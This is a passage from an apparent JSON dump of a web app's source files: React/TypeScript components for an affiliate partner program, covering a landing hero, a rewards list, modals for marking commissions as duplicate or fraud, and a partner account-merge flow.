-27.333 69.6221 -21.3457C59.0809 -15.4162 48.3057 -9.33215 37.4775 -9.33203C26.6492 -9.33203 15.8732 -15.4161 5.33203 -21.3457C-5.31171 -27.333 -15.7215 -33.166 -26.0781 -33.166C-47.028 -33.1659 -68.0296 -21.3744 -89.2656 -9.42871L-90.002 -10.7354C-68.8683 -22.6234 -47.4999 -34.6659 -26.0781 -34.666C-15.2498 -34.666 -4.47383 -28.582 6.06738 -22.6523C16.7111 -16.665 27.1209 -10.832 37.4775 -10.832C47.8339 -10.8322 58.2431 -16.6651 68.8867 -22.6523C79.4281 -28.582 90.2043 -34.666 101.033 -34.666C111.862 -34.666 122.637 -28.582 133.179 -22.6523C143.822 -16.6651 154.231 -10.8322 164.588 -10.832C174.944 -10.832 185.354 -16.6651 195.998 -22.6523C206.54 -28.582 217.316 -34.666 228.145 -34.666C238.973 -34.6659 249.748 -28.5819 260.289 -22.6523C270.933 -16.665 281.343 -10.832 291.699 -10.832C302.056 -10.832 312.466 -16.665 323.11 -22.6523C333.652 -28.5819 344.427 -34.6659 355.255 -34.666Z\"\n            fill=\"#171717\"\n          />\n          <path\n            d=\"M355.255 -47C366.083 -47 376.859 -40.916 387.4 -34.9863C398.044 -28.999 408.454 -23.166 418.811 -23.166C439.76 -23.1661 460.762 -34.9576 481.998 -46.9033L482.734 -45.5967C461.601 -33.7086 440.232 -21.6661 418.811 -21.666C407.982 -21.666 397.206 -27.75 386.665 -33.6797C376.021 -39.667 365.611 -45.5 355.255 -45.5C344.899 -45.4999 334.489 -39.6669 323.846 -33.6797C313.304 -27.75 302.528 -21.666 291.699 -21.666C280.871 -21.666 270.095 -27.75 259.554 -33.6797C248.91 -39.6669 238.501 -45.4999 228.145 -45.5C217.788 -45.5 207.378 -39.6669 196.734 -33.6797C186.193 -27.75 175.416 -21.666 164.588 -21.666C153.76 -21.6661 142.984 -27.7501 132.443 -33.6797C121.8 -39.667 111.39 -45.5 101.033 -45.5C90.6761 -45.5 80.266 -39.667 69.6221 -33.6797C59.0809 -27.7501 48.3057 -21.6661 37.4775 -21.666C26.6492 -21.666 15.8732 -27.75 5.33203 -33.6797C-5.31171 -39.667 -15.7215 -45.5 -26.0781 -45.5C-47.028 -45.4999 -68.0296 -33.7084 -89.2656 -21.7627L-90.002 -23.0693C-68.8683 -34.9574 -47.4999 -46.9999 -26.0781 -47C-15.2498 -47 -4.47383 -40.916 6.06738 -34.9863C16.7111 -28.999 27.1209 -23.166 37.4775 -23.166C47.8339 -23.1661 58.2431 -28.9991 68.8867 -34.9863C79.4281 -40.916 90.2043 -47 101.033 -47C111.862 -47 122.637 -40.916 133.179 -34.9863C143.822 -28.9991 154.231 -23.1661 164.588 -23.166C174.944 -23.166 185.354 -28.9991 195.998 -34.9863C206.54 -40.916 217.316 -47 228.145 -47C238.973 -46.9999 249.748 -40.9159 260.289 -34.9863C270.933 -28.999 281.343 -23.166 291.699 -23.166C302.056 -23.166 312.466 -28.999 323.11 -34.9863C333.652 -40.9159 344.427 -46.9999 355.255 -47Z\"\n            fill=\"#171717\"\n          />\n        </g>\n      </g>\n      <defs>\n        <radialGradient\n          id={`${id}-gradient`}\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientTransform=\"matrix(-298.5 -158 388.902 -239.046 392 158)\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop offset=\"0.543269\" stopColor=\"white\" stopOpacity=\"0\" />\n          <stop offset=\"1\" />\n        </radialGradient>\n        <clipPath id={`${id}-clip`}>\n          <rect\n            width=\"392\"\n            height=\"158\"\n            fill=\"white\"\n            transform=\"matrix(-1 0 0 1 392 0)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/lander/lander-hero.tsx",
    "content": "import { ProgramLanderData } from \"@/lib/types\";\nimport { Program } from \"@dub/prisma/client\";\nimport { cn } from \"@dub/utils\";\nimport { ElementType } from \"react\";\n\nexport function LanderHero({\n  program,\n  landerData,\n  showLabel = true,\n  heading,\n  preview,\n  className,\n  titleClassName,\n  descriptionClassName,\n}: {\n  program: Pick<Program, \"name\">;\n  landerData: Pick<ProgramLanderData, \"label\" | \"title\" | \"description\">;\n  showLabel?: boolean;\n  heading?: ElementType;\n  preview?: boolean;\n  className?: string;\n  titleClassName?: string;\n  descriptionClassName?: string;\n}) {\n  const Heading = heading || (preview ? \"div\" : \"h1\");\n\n  return (\n    <div className={cn(\"grid grid-cols-1 gap-5 py-6 sm:mt-14\", className)}>\n      {showLabel && (\n        <div dir=\"auto\">\n          <span\n            className={cn(\n              \"block font-mono text-xs font-medium uppercase text-[var(--brand)]\",\n              \"animate-slide-up-fade [--offset:5px] [animation-duration:1s] [animation-fill-mode:both]\",\n            )}\n          >\n            {landerData.label || \"Affiliate Program\"}\n          </span>\n        </div>\n      )}\n      <Heading\n        className={cn(\n          \"text-4xl font-semibold\",\n          \"animate-slide-up-fade [--offset:5px] [animation-delay:100ms] [animation-duration:1s] [animation-fill-mode:both]\",\n          titleClassName,\n        )}\n        dir=\"auto\"\n      >\n        {landerData.title || `Join the ${program.name} affiliate program`}\n      </Heading>\n      <p\n        className={cn(\n          \"text-base text-neutral-700\",\n          \"animate-slide-up-fade [--offset:5px] [animation-delay:200ms] [animation-duration:1s] [animation-fill-mode:both]\",\n          descriptionClassName,\n        )}\n        dir=\"auto\"\n      >\n        {landerData.description ||\n          `Share ${program.name} with your audience and for each subscription generated through your referral, you'll earn a share of the revenue on any plans they purchase.`}\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/lander/lander-rewards.tsx",
    "content": "\"use client\";\n\nimport { constructRewardAmount } from \"@/lib/api/sales/construct-reward-amount\";\nimport { getRewardAmount } from \"@/lib/partners/get-reward-amount\";\nimport {\n  DiscountProps,\n  GroupBountySummaryProps,\n  RewardProps,\n} from \"@/lib/types\";\nimport { Gift, Heart, Icon, Trophy } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { PropsWithChildren, useState } from \"react\";\nimport { REWARD_EVENTS } from \"../constants\";\nimport { formatDiscountDescription } from \"../format-discount-description\";\nimport { ProgramRewardModifiersTooltip } from \"../program-reward-modifiers-tooltip\";\n\nconst MAX_VISIBLE_BOUNTIES = 3;\n\nexport function LanderRewards({\n  rewards,\n  discount,\n  bounties = [],\n  className,\n}: {\n  rewards: RewardProps[];\n  discount: DiscountProps | null;\n  bounties?: GroupBountySummaryProps[];\n  className?: string;\n}) {\n  const sortedFilteredRewards = rewards.filter((reward) => {\n    const rawAmount =\n      reward.type === \"flat\" ? reward.amountInCents : reward.amountInPercentage;\n\n    return rawAmount != null && getRewardAmount(reward) > 0;\n  });\n  const [showAllBounties, setShowAllBounties] = useState(false);\n  const shouldCollapseBounties = bounties.length > MAX_VISIBLE_BOUNTIES;\n  const visibleBounties =\n    shouldCollapseBounties && !showAllBounties\n      ? bounties.slice(0, MAX_VISIBLE_BOUNTIES)\n      : bounties;\n\n  if (\n    sortedFilteredRewards.length === 0 &&\n    !discount &&\n    bounties.length === 0\n  ) {\n    return null;\n  }\n\n  return (\n    <div\n      className={cn(\n        \"rounded-[10px] border border-neutral-200 bg-neutral-50 px-5 py-4\",\n        className,\n      )}\n    >\n      {Boolean(sortedFilteredRewards.length || discount) && (\n        <div className={cn(bounties.length > 0 && \"mb-5\")}>\n          <h2 className=\"text-base font-semibold tracking-[-0.02em] text-neutral-800\">\n            Rewards\n          </h2>\n          <ul className=\"mt-2 flex flex-col gap-2 text-sm font-medium tracking-[-0.02em] text-neutral-600\">\n            {sortedFilteredRewards.map((reward) => (\n              <Item key={reward.id} icon={REWARD_EVENTS[reward.event].icon}>\n                {reward.description || (\n                  <>\n                    {constructRewardAmount(reward)}{\" \"}\n                    {reward.event === \"sale\" && reward.maxDuration === 0 ? (\n                      <>for the first sale</>\n                    ) : (\n                      <>per {reward.event}</>\n                    )}\n                    {reward.maxDuration === null ? (\n                      <> for the customer's lifetime</>\n                    ) : reward.maxDuration && reward.maxDuration >= 1 ? (\n                      <>\n                        {\" \"}\n                        for{\" \"}\n                        {reward.maxDuration % 12 === 0\n                          ? `${reward.maxDuration / 12} year${reward.maxDuration / 12 > 1 ? \"s\" : \"\"}`\n                          : `${reward.maxDuration} month${reward.maxDuration > 1 ? \"s\" : \"\"}`}\n                      </>\n                    ) : null}\n                  </>\n                )}\n                {(!!reward.modifiers?.length ||\n                  Boolean(reward.tooltipDescription)) && (\n                  <>\n                    {\" \"}\n                    <ProgramRewardModifiersTooltip reward={reward} />\n                  </>\n                )}\n              </Item>\n            ))}\n\n            {discount && (\n              <Item icon={Gift}>{formatDiscountDescription(discount)}</Item>\n            )}\n          </ul>\n        </div>\n      )}\n\n      {bounties.length > 0 && (\n        <div>\n          <h2 className=\"text-base font-semibold tracking-[-0.02em] text-neutral-800\">\n            Bounties\n          </h2>\n          <ul className=\"mt-2 flex flex-col gap-2 text-sm font-medium tracking-[-0.02em] text-neutral-600\">\n            {visibleBounties.map((bounty) => (\n              <Item\n                key={bounty.id}\n                icon={bounty.type === \"performance\" ? Trophy : Heart}\n              >\n                {bounty.name}\n              </Item>\n            ))}\n          </ul>\n          {shouldCollapseBounties && (\n            <button\n              type=\"button\"\n              className={cn(\n                \"mt-3 flex h-6 w-fit items-center justify-center rounded-md px-1.5 text-xs font-medium tracking-[-0.02em] text-neutral-900 transition-colors\",\n                \"bg-neutral-200/50 hover:bg-neutral-200 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-neutral-300\",\n              )}\n              onClick={() => setShowAllBounties((current) => !current)}\n            >\n              {showAllBounties ? \"View less bounties\" : \"View all bounties\"}\n            </button>\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n\nconst Item = ({\n  icon: IconComponent,\n  children,\n}: PropsWithChildren<{ icon: Icon }>) => {\n  return (\n    <li className=\"flex items-center gap-2 leading-5\">\n      <IconComponent className=\"size-4 shrink-0 text-neutral-600\" />\n      <div>{children}</div>\n    </li>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/partners/mark-commission-duplicate-modal.tsx",
    "content": "import { markCommissionDuplicateAction } from \"@/lib/actions/partners/mark-commission-duplicate\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CommissionResponse } from \"@/lib/types\";\nimport { Button, Modal, StatusBadge } from \"@dub/ui\";\nimport { currencyFormatter, nFormatter } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport React, { useCallback, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { CustomerRowItem } from \"../customers/customer-row-item\";\nimport { CommissionStatusBadges } from \"./commission-status-badges\";\nimport { CommissionTypeBadge } from \"./commission-type-badge\";\nimport { PartnerRowItem } from \"./partner-row-item\";\n\ninterface ModalProps {\n  showModal: boolean;\n  setShowModal: (show: boolean) => void;\n  commission: CommissionResponse;\n}\n\nfunction MarkCommissionDuplicateModal({\n  showModal,\n  setShowModal,\n  commission,\n}: ModalProps) {\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <ModalInner setShowModal={setShowModal} commission={commission} />\n    </Modal>\n  );\n}\n\nfunction ModalInner({\n  setShowModal,\n  commission,\n}: Omit<ModalProps, \"showModal\">) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { executeAsync, isExecuting, hasSucceeded } = useAction(\n    markCommissionDuplicateAction,\n    {\n      onSuccess: async () => {\n        toast.success(\"Successfully marked commission as duplicate.\");\n        await mutatePrefix([\"/api/commissions\", \"/api/payouts\"]);\n        setShowModal(false);\n      },\n      onError: () => {\n        toast.error(\"Failed to update commission status.\");\n      },\n    },\n  );\n\n  const commissionItem = useMemo(() => {\n    const badge = CommissionStatusBadges[commission.status];\n\n    return {\n      Date: new Date(commission.createdAt).toLocaleString(undefined, {\n        month: \"short\",\n        day: \"numeric\",\n        hour: \"2-digit\",\n        minute: \"2-digit\",\n      }),\n\n      ...(commission.customer\n        ? {\n            Customer: (\n              <CustomerRowItem\n                customer={commission.customer!}\n                avatarClassName=\"size-5\"\n              />\n            ),\n          }\n        : {}),\n\n      Partner: (\n        <PartnerRowItem partner={commission.partner!} showPermalink={false} />\n      ),\n\n      Type: <CommissionTypeBadge type={commission.type!} />,\n\n      Amount:\n        commission.type === \"sale\"\n          ? currencyFormatter(commission.amount)\n          : nFormatter(commission.quantity),\n\n      Commission: currencyFormatter(commission.earnings),\n\n      Status: (\n        <StatusBadge icon={null} variant={badge.variant}>\n          {badge.label}\n        </StatusBadge>\n      ),\n    };\n  }, [commission]);\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Mark commission as duplicate\n        </h3>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 p-6\">\n        <div className=\"rounded-lg border border-red-200 bg-red-50 p-4\">\n          <div className=\"text-sm text-red-900\">\n            <span className=\"font-bold\">Warning:</span> This will mark the\n            commission as duplicate and remove it from any upcoming payouts.\n            This action cannot be undone.\n          </div>\n        </div>\n\n        <div className=\"rounded-lg border border-neutral-200 bg-white p-4 sm:p-6\">\n          <div className=\"grid grid-cols-3 gap-y-4\">\n            {Object.entries(commissionItem).map(([key, value]) => (\n              <React.Fragment key={key}>\n                <div className=\"text-sm font-medium text-neutral-500\">\n                  {key}\n                </div>\n                <div className=\"col-span-2 text-sm font-medium text-neutral-800\">\n                  {value}\n                </div>\n              </React.Fragment>\n            ))}\n          </div>\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-between border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n        <Button\n          onClick={() => setShowModal(false)}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n          disabled={isExecuting}\n        />\n        <Button\n          onClick={async () => {\n            if (!workspaceId) {\n              return;\n            }\n\n            await executeAsync({\n              workspaceId,\n              commissionId: commission.id,\n            });\n          }}\n          autoFocus\n          variant=\"danger\"\n          loading={isExecuting || hasSucceeded}\n          text=\"Mark as duplicate\"\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </>\n  );\n}\n\nexport function useMarkCommissionDuplicateModal({\n  commission,\n}: {\n  commission: CommissionResponse;\n}) {\n  const [showModal, setShowModal] = useState(false);\n\n  const ModalCallback = useCallback(() => {\n    return (\n      <MarkCommissionDuplicateModal\n        showModal={showModal}\n        setShowModal={setShowModal}\n        commission={commission}\n      />\n    );\n  }, [showModal, setShowModal, commission]);\n\n  return useMemo(\n    () => ({\n      setShowModal,\n      MarkCommissionDuplicateModal: ModalCallback,\n    }),\n    [setShowModal, ModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/mark-commission-fraud-or-canceled-modal.tsx",
    "content": "import { markCommissionFraudOrCanceledAction } from \"@/lib/actions/partners/mark-commission-fraud-or-canceled\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CommissionResponse } from \"@/lib/types\";\nimport { Button, Modal, StatusBadge } from \"@dub/ui\";\nimport { currencyFormatter, nFormatter } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport React, { useCallback, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { CustomerRowItem } from \"../customers/customer-row-item\";\nimport { CommissionStatusBadges } from \"./commission-status-badges\";\nimport { CommissionTypeBadge } from \"./commission-type-badge\";\nimport { PartnerRowItem } from \"./partner-row-item\";\n\ninterface ModalProps {\n  showModal: boolean;\n  setShowModal: (show: boolean) => void;\n  commission: CommissionResponse;\n  status: \"fraud\" | \"canceled\";\n}\n\nfunction MarkCommissionFraudOrCanceledModal({\n  showModal,\n  setShowModal,\n  commission,\n  status,\n}: ModalProps) {\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <ModalInner\n        setShowModal={setShowModal}\n        commission={commission}\n        status={status}\n      />\n    </Modal>\n  );\n}\n\nfunction ModalInner({\n  setShowModal,\n  commission,\n  status,\n}: Omit<ModalProps, \"showModal\">) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { executeAsync, isExecuting, hasSucceeded } = useAction(\n    markCommissionFraudOrCanceledAction,\n    {\n      onSuccess: async () => {\n        toast.success(`Commission marked as ${status} successfully!`);\n        await mutatePrefix([\"/api/commissions\", \"/api/payouts\"]);\n        setShowModal(false);\n      },\n      onError: () => {\n        toast.error(\"Failed to update commission status.\");\n      },\n    },\n  );\n\n  const commissionItem = useMemo(() => {\n    const badge = CommissionStatusBadges[commission.status];\n\n    return {\n      Date: new Date(commission.createdAt).toLocaleString(undefined, {\n        month: \"short\",\n        day: \"numeric\",\n        hour: \"2-digit\",\n        minute: \"2-digit\",\n      }),\n\n      ...(commission.customer\n        ? {\n            Customer: (\n              <CustomerRowItem\n                customer={commission.customer}\n                avatarClassName=\"size-5\"\n              />\n            ),\n          }\n        : {}),\n\n      Partner: (\n        <PartnerRowItem partner={commission.partner!} showPermalink={false} />\n      ),\n\n      Type: <CommissionTypeBadge type={commission.type!} />,\n\n      Amount:\n        commission.type === \"sale\"\n          ? currencyFormatter(commission.amount)\n          : nFormatter(commission.quantity),\n\n      Commission: currencyFormatter(commission.earnings),\n\n      Status: (\n        <StatusBadge icon={null} variant={badge.variant}>\n          {badge.label}\n        </StatusBadge>\n      ),\n    };\n  }, [commission]);\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Mark commission as {status}\n        </h3>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 p-6\">\n        <div className=\"rounded-lg border border-red-200 bg-red-50 p-4\">\n          <div className=\"text-sm text-red-900\">\n            <span className=\"font-bold\">Warning:</span> This will mark{\" \"}\n            {commission.type === \"custom\" || commission.type === \"click\"\n              ? \"this commission\"\n              : \"all future and past commissions for this customer and partner combination\"}{\" \"}\n            as {status}. This action cannot be undone – please proceed with\n            caution.\n          </div>\n        </div>\n\n        <div className=\"rounded-lg border border-neutral-200 bg-white p-4 sm:p-6\">\n          <div className=\"grid grid-cols-3 gap-y-4\">\n            {Object.entries(commissionItem).map(([key, value]) => (\n              <React.Fragment key={key}>\n                <div className=\"text-sm font-medium text-neutral-500\">\n                  {key}\n                </div>\n                <div className=\"col-span-2 text-sm font-medium text-neutral-800\">\n                  {value}\n                </div>\n              </React.Fragment>\n            ))}\n          </div>\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-between border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n        <Button\n          onClick={() => setShowModal(false)}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n          disabled={isExecuting}\n        />\n        <Button\n          onClick={async () => {\n            if (!workspaceId) {\n              return;\n            }\n\n            await executeAsync({\n              workspaceId,\n              commissionId: commission.id,\n              status,\n            });\n          }}\n          autoFocus\n          variant=\"danger\"\n          loading={isExecuting || hasSucceeded}\n          text={`Mark as ${status}`}\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </>\n  );\n}\n\nexport function useMarkCommissionFraudOrCanceledModal({\n  commission,\n  status,\n}: {\n  commission: CommissionResponse;\n  status: \"fraud\" | \"canceled\";\n}) {\n  const [showModal, setShowModal] = useState(false);\n\n  const ModalCallback = useCallback(() => {\n    return (\n      <MarkCommissionFraudOrCanceledModal\n        showModal={showModal}\n        setShowModal={setShowModal}\n        commission={commission}\n        status={status}\n      />\n    );\n  }, [showModal, setShowModal, commission, status]);\n\n  return useMemo(\n    () => ({\n      setShowModal,\n      MarkCommissionFraudOrCanceledModal: ModalCallback,\n    }),\n    [setShowModal, ModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/merge-accounts/account-input-group.tsx",
    "content": "import { ReactNode } from \"react\";\n\ninterface AccountInputGroupProps {\n  title: string;\n  children: ReactNode;\n}\n\nexport function AccountInputGroup({ title, children }: AccountInputGroupProps) {\n  return (\n    <div className=\"rounded-xl border border-solid border-neutral-200 bg-neutral-100 p-1 pt-0\">\n      <h3 className=\"px-1.5 py-2 text-xs font-medium leading-4 text-neutral-500\">\n        {title}\n      </h3>\n      <div className=\"rounded-lg border border-solid border-neutral-200 bg-white p-3\">\n        {children}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/merge-accounts/form-context.tsx",
    "content": "\"use client\";\n\nimport {\n  createContext,\n  Dispatch,\n  SetStateAction,\n  useContext,\n  useState,\n} from \"react\";\n\ninterface Account {\n  name?: string;\n  email: string;\n  avatarUrl?: string;\n}\n\nexport interface FormContextType {\n  sourceAccount: Account;\n  targetAccount: Account;\n  setSourceAccount: Dispatch<SetStateAction<Account>>;\n  setTargetAccount: Dispatch<SetStateAction<Account>>;\n}\n\nconst FormContext = createContext<FormContextType | undefined>(undefined);\n\nexport const MergePartnerAccountsFormProvider: React.FC<{\n  children: React.ReactNode;\n}> = ({ children }) => {\n  const [sourceAccount, setSourceAccount] = useState<Account>({\n    email: \"\",\n  });\n\n  const [targetAccount, setTargetAccount] = useState<Account>({\n    email: \"\",\n  });\n\n  return (\n    <FormContext.Provider\n      value={{\n        sourceAccount,\n        targetAccount,\n        setSourceAccount,\n        setTargetAccount,\n      }}\n    >\n      {children}\n    </FormContext.Provider>\n  );\n};\n\nexport const useMergePartnerAccountsForm = () => {\n  const context = useContext(FormContext);\n\n  if (!context) {\n    throw new Error(\"Must be used within a Provider.\");\n  }\n\n  return context;\n};\n"
  },
  {
    "path": "apps/web/ui/partners/merge-accounts/merge-account-form.tsx",
    "content": "import { mergePartnerAccountsAction } from \"@/lib/actions/partners/merge-partner-accounts\";\nimport useUser from \"@/lib/swr/use-user\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button } from \"@dub/ui\";\nimport { AlertTriangle, ArrowDown } from \"lucide-react\";\nimport { signOut } from \"next-auth/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { toast } from \"sonner\";\nimport { AccountInputGroup } from \"./account-input-group\";\nimport { useMergePartnerAccountsForm } from \"./form-context\";\nimport { StepProgressBar } from \"./step-progress-bar\";\n\nexport function MergeAccountForm({\n  onSuccess,\n  onCancel,\n}: {\n  onSuccess: () => void;\n  onCancel: () => void;\n}) {\n  const { user } = useUser();\n  const { sourceAccount, targetAccount } = useMergePartnerAccountsForm();\n\n  const { executeAsync, isPending } = useAction(mergePartnerAccountsAction, {\n    onSuccess: async () => {\n      onSuccess();\n\n      if (sourceAccount.email === user?.email) {\n        toast.success(\n          \"Account merge process has started! We'll send you an email when it's complete. You'll be logged out automatically.\",\n        );\n\n        await signOut({\n          callbackUrl: \"/login\",\n        });\n\n        return;\n      }\n\n      toast.success(\n        \"Account merge process has started! We'll send you an email when it's complete. No action is required on your part.\",\n      );\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = async () => {\n    await executeAsync({\n      step: \"merge-accounts\",\n    });\n  };\n\n  return (\n    <form className=\"space-y-6\">\n      <div className=\"flex flex-col gap-4\">\n        <AccountInputGroup title=\"Source account\">\n          <div className=\"flex items-center gap-4\">\n            <PartnerAvatar\n              partner={{\n                image: sourceAccount.avatarUrl,\n                name: sourceAccount.name,\n                id: sourceAccount.email,\n              }}\n              className=\"size-12 object-cover\"\n            />\n            <div>\n              <div className=\"text-base font-semibold leading-4 text-neutral-900\">\n                {sourceAccount.name}\n              </div>\n              <div className=\"mt-1 text-sm font-medium leading-5 text-neutral-500\">\n                {sourceAccount.email}\n              </div>\n            </div>\n          </div>\n        </AccountInputGroup>\n\n        <div className=\"flex items-start px-7\">\n          <ArrowDown className=\"size-5\" aria-hidden=\"true\" />\n        </div>\n\n        <AccountInputGroup title=\"Target account\">\n          <div className=\"flex items-center gap-4\">\n            <PartnerAvatar\n              partner={{\n                image: targetAccount.avatarUrl,\n                name: targetAccount.name,\n                id: targetAccount.email,\n              }}\n              className=\"size-12 object-cover\"\n            />\n            <div>\n              <div className=\"text-base font-semibold leading-4 text-neutral-900\">\n                {targetAccount.name}\n              </div>\n              <div className=\"mt-1 text-sm font-medium leading-5 text-neutral-500\">\n                {targetAccount.email}\n              </div>\n            </div>\n          </div>\n        </AccountInputGroup>\n\n        <div className=\"mt-2 flex flex-col gap-3 rounded-lg border border-amber-200 bg-amber-50 px-5 py-4\">\n          <AlertTriangle className=\"size-4 text-amber-600\" />\n          <h3 className=\"text-sm font-semibold leading-5 text-amber-900\">\n            This action can't be undone.\n          </h3>\n          <p className=\"text-sm font-normal leading-5 text-amber-900\">\n            All data — including links, commissions, and payouts from{\" \"}\n            {sourceAccount.email} will be transferred to {targetAccount.email}.\n            Duplicate bounty submissions from {sourceAccount.email} will also be\n            deleted.\n            <br />\n            <br />\n            After the merge, {sourceAccount.email} will be permanently deleted.\n            If you're unsure, please contact our support team before proceeding.\n          </p>\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-between gap-4\">\n        <StepProgressBar step={3} />\n\n        <div className=\"flex items-center gap-2\">\n          <Button\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            disabled={isPending}\n            onClick={onCancel}\n          />\n          <Button\n            text=\"Merge accounts\"\n            className=\"h-8 w-fit px-3\"\n            type=\"button\"\n            onClick={onSubmit}\n            disabled={isPending}\n            loading={isPending}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/merge-accounts/merge-partner-accounts-modal.tsx",
    "content": "\"use client\";\n\nimport { MergePartnerAccountsFormProvider } from \"@/ui/partners/merge-accounts/form-context\";\nimport { MergeAccountForm } from \"@/ui/partners/merge-accounts/merge-account-form\";\nimport { SendVerificationCodeForm } from \"@/ui/partners/merge-accounts/send-verification-code-form\";\nimport { VerifyCodeForm } from \"@/ui/partners/merge-accounts/verify-code-form\";\nimport { InfoTooltip, Modal } from \"@dub/ui\";\nimport { AnimatePresence, motion, Variants } from \"motion/react\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\n\ninterface MergePartnerAccountsModalProps {\n  showMergePartnerAccountsModal: boolean;\n  setShowMergePartnerAccountsModal: Dispatch<SetStateAction<boolean>>;\n}\n\nconst stepVariants = {\n  enter: (direction: number) => ({\n    x: direction > 0 ? 300 : -300,\n    opacity: 0,\n  }),\n  center: {\n    zIndex: 1,\n    x: 0,\n    opacity: 1,\n  },\n  exit: (direction: number) => ({\n    zIndex: 0,\n    x: direction < 0 ? 300 : -300,\n    opacity: 0,\n  }),\n};\n\nconst stepTransition = {\n  x: {\n    type: \"spring\",\n    stiffness: 200,\n    damping: 25,\n    duration: 0.6,\n  },\n  opacity: {\n    duration: 0.4,\n    ease: \"easeInOut\",\n  },\n} as Variants;\n\nfunction MergePartnerAccountsModal(props: MergePartnerAccountsModalProps) {\n  const { showMergePartnerAccountsModal, setShowMergePartnerAccountsModal } =\n    props;\n\n  return (\n    <Modal\n      showModal={showMergePartnerAccountsModal}\n      setShowModal={setShowMergePartnerAccountsModal}\n    >\n      <MergePartnerAccountsModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction MergePartnerAccountsModalInner({\n  setShowMergePartnerAccountsModal,\n}: MergePartnerAccountsModalProps) {\n  const [step, setStep] = useState<1 | 2 | 3>(1);\n\n  return (\n    <div>\n      <div className=\"flex items-center gap-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Merge accounts</h3>\n        <InfoTooltip content=\"Learn how to merge one of your partner accounts with another, to keep things organized and better managed. [Learn more](https://dub.co/help/article/merging-partner-accounts)\" />\n      </div>\n\n      <div className=\"flex flex-col gap-2 bg-neutral-50 p-4 sm:p-6\">\n        <MergePartnerAccountsFormProvider>\n          <div className=\"relative overflow-hidden\">\n            <AnimatePresence mode=\"popLayout\" initial={false}>\n              {step === 1 && (\n                <motion.div\n                  key=\"step-1\"\n                  custom={1}\n                  variants={stepVariants}\n                  initial=\"enter\"\n                  animate=\"center\"\n                  exit=\"exit\"\n                  transition={stepTransition}\n                  className=\"relative\"\n                >\n                  <SendVerificationCodeForm\n                    onSuccess={() => setStep(2)}\n                    onCancel={() => setShowMergePartnerAccountsModal(false)}\n                  />\n                </motion.div>\n              )}\n\n              {step === 2 && (\n                <motion.div\n                  key=\"step-2\"\n                  custom={1}\n                  variants={stepVariants}\n                  initial=\"enter\"\n                  animate=\"center\"\n                  exit=\"exit\"\n                  transition={stepTransition}\n                  className=\"relative\"\n                >\n                  <VerifyCodeForm\n                    onSuccess={() => setStep(3)}\n                    onCancel={() => setShowMergePartnerAccountsModal(false)}\n                  />\n                </motion.div>\n              )}\n\n              {step === 3 && (\n                <motion.div\n                  key=\"step-3\"\n                  custom={1}\n                  variants={stepVariants}\n                  initial=\"enter\"\n                  animate=\"center\"\n                  exit=\"exit\"\n                  transition={stepTransition}\n                  className=\"relative\"\n                >\n                  <MergeAccountForm\n                    onSuccess={() => {\n                      setShowMergePartnerAccountsModal(false);\n                    }}\n                    onCancel={() => setShowMergePartnerAccountsModal(false)}\n                  />\n                </motion.div>\n              )}\n            </AnimatePresence>\n          </div>\n        </MergePartnerAccountsFormProvider>\n      </div>\n    </div>\n  );\n}\n\nexport function useMergePartnerAccountsModal() {\n  const [showMergePartnerAccountsModal, setShowMergePartnerAccountsModal] =\n    useState(false);\n\n  const MergePartnerAccountsModalCallback = useCallback(() => {\n    return (\n      